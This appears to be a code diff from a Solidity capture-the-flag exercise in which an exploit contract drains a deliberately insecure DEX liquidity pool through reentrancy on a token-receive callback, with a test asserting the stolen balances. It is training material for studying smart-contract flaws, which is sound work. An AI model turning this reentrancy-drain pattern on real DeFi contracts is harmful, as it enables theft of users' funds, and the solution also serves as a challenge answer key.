@@ -34,7 +34,7 @@ contract InsecureDexLPExploitTest is Test {
34
34
InsecureDexLPExploit exploit = new InsecureDexLPExploit ();
35
35
token0.transfer (address (exploit), 1 ether);
36
36
token1.transfer (address (exploit), 1 ether);
37
- exploit.exploit (target, token0, token1 );
37
+ exploit.exploit (target);
38
38
39
39
vm.stopPrank ();
40
40
assertEq (token0.balanceOf (playerAddress), 10 ether, "Player should have 10 ether of token0 " );
@@ -48,8 +48,12 @@ contract InsecureDexLPExploit {
48
48
uint256 totalRecieved = 0 ;
49
49
bool underExploit = false ;
50
50
51
- function exploit (InsecureDexLP target , InSecureumToken token0 , SimpleERC223Token token1 ) public {
51
+ function exploit (InsecureDexLP target ) external {
52
52
underExploit = true ;
53
+
54
+ IERC20 token0 = target.token0 ();
55
+ IERC20 token1 = target.token1 ();
56
+
53
57
token0.approve (address (target), type (uint256 ).max);
54
58
token1.approve (address (target), type (uint256 ).max);
55
59
@@ -58,6 +62,7 @@ contract InsecureDexLPExploit {
58
62
59
63
token0.transfer (msg .sender , 10 ether);
60
64
token1.transfer (msg .sender , 10 ether);
65
+
61
66
underExploit = false ;
62
67
}
63
68
@@ -66,8 +71,8 @@ contract InsecureDexLPExploit {
66
71
return ;
67
72
}
68
73
totalRecieved += amount;
69
- InsecureDexLP target = InsecureDexLP (from);
70
74
if (totalRecieved < 10 ether) {
75
+ InsecureDexLP target = InsecureDexLP (from);
71
76
target.removeLiquidity (target.balanceOf (address (this )));
72
77
}
73
78
}
0 commit comments